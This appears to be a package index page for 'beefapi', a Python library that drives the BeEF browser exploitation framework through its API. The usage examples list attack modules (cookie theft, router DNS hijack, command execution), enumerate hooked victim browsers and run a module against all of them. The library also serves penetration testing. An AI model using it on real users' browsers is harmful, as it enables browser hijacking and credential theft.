Skip to main content

Python library that facilitates interfacing with BeEF via it's RESTful API

Project description


Python library that facilitates interacting with [BeEF]( via it's RESTful API

Requires Python 2.7 and the ```requests``` package (```pip install requests```)


- import the library and login to BeEF
In [1]: from beefapi import BeefAPI

In [2]: beef = BeefAPI({})

In [3]: beef.login('beef', 'beef')
Out[3]: True

- Print the id and name of all available modules:
In [10]: for module in beef.modules:
....: print,
222 Replace HREFs (HTTPS)
223 Redirect Browser (Rickroll)
220 Replace Videos
221 Fingerprint Ajax
218 iOS Address Bar Spoofing
219 Redirect Browser
216 Get Cookie
217 Get Page HREFs

-- SNIP --

- Find all modules containing the string 'd-link' and print their id and name:
In [7]: for module in beef.modules.findbyname('d-link'):
...: print,
88 D-Link DSL-2740R DNS Hijack
67 D-Link DIR-615 Password Wipe
120 D-Link ShareCenter Command Execution
81 D-Link DSL-2640B DNS Hijack
80 D-Link DSL500T CSRF


- Find all online hooked browsers that have the string 'windows' in their OS attribute
In [7]:'windows')
Out[7]: [<core.beefapi.Session object at 0x7f24b40dd710>]

In [8]:'windows')[0].id
Out[8]: 2

In [9]:'windows')[0].session
Out[9]: u'0EbkU7OUmaLBSGOtcdy43wMIh1r2VtU7O2QHsSzYJKONQCJ90gMnj53CQOQnZ9IfNIkr5SLBde1puw3v'

In [10]:'windows')[0].name
Out[10]: u'FF'

In [11]:'windows')[0].details
{u'BrowserLanguage': u'en-US',
u'BrowserName': u'FF',
u'BrowserPlatform': u'Win32',
u'BrowserPlugins': u'Google Update-v.,Java Deployment Toolkit 6.0.300.12-v.6.0.300.12,Silverlight Plug-In-v.5.1.40416.0',
u'BrowserReportedName': u'Mozilla/5.0 (Windows NT 6.3; rv:38.0) Gecko/20100101 Firefox/38.0',
u'BrowserType': u'{"C19iOS":null,"C20iOS":null,"C21iOS":null,"C22iOS":null,"C23iOS":null,"C24iOS":null,"C25iOS":null,"C26iOS":null,"C27iOS":null,"C28iOS":null,"C29iOS":null,"C30iOS":null,"C31iOS":null,"C32iOS":null,"C33iOS":null,"C34iOS":null,"C35iOS":null,"C36iOS":null,"C37iOS":null,"C38iOS":null,"C39iOS":null,"C40iOS":null,"C41iOS":null,"C42iOS":null,"C":null,"FF38":true,"FF":true}',
u'BrowserVersion': u'38',
u'CPU': u'32-bit',

-- SNIP--

- Print the id, browser and os of all online hooked browsers
In [13]: for hook in
print,, hook.os
2 FF Windows 8.1

- Run a module against all online hooked browsers:
In [14]: for hook in
....: print
{u'success': u'true', u'command_id': u'4'}

- Get the results of the previously executed module
In [25]:
Out[25]: [<core.beefapi.Session object at 0x7f079cd89090>]

In [18]: session =[0].session

In [20]: beef.modules.findbyid(223).results(session, 4)
{u'0': {u'data': u'{"data":"result=Rickroll Successful"}',
u'date': u'1433706868'}}

Project details

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Files for beefapi, version 0.2.1
Filename, size File type Python version Upload date Hashes
Filename, size beefapi-0.2.1.tar.gz (2.2 kB) File type Source Python version None Upload date Hashes View

Supported by

Pingdom Pingdom Monitoring Google Google Object Storage and Download Analytics Sentry Sentry Error logging AWS AWS Cloud computing DataDog DataDog Monitoring Fastly Fastly CDN DigiCert DigiCert EV certificate StatusPage StatusPage Status page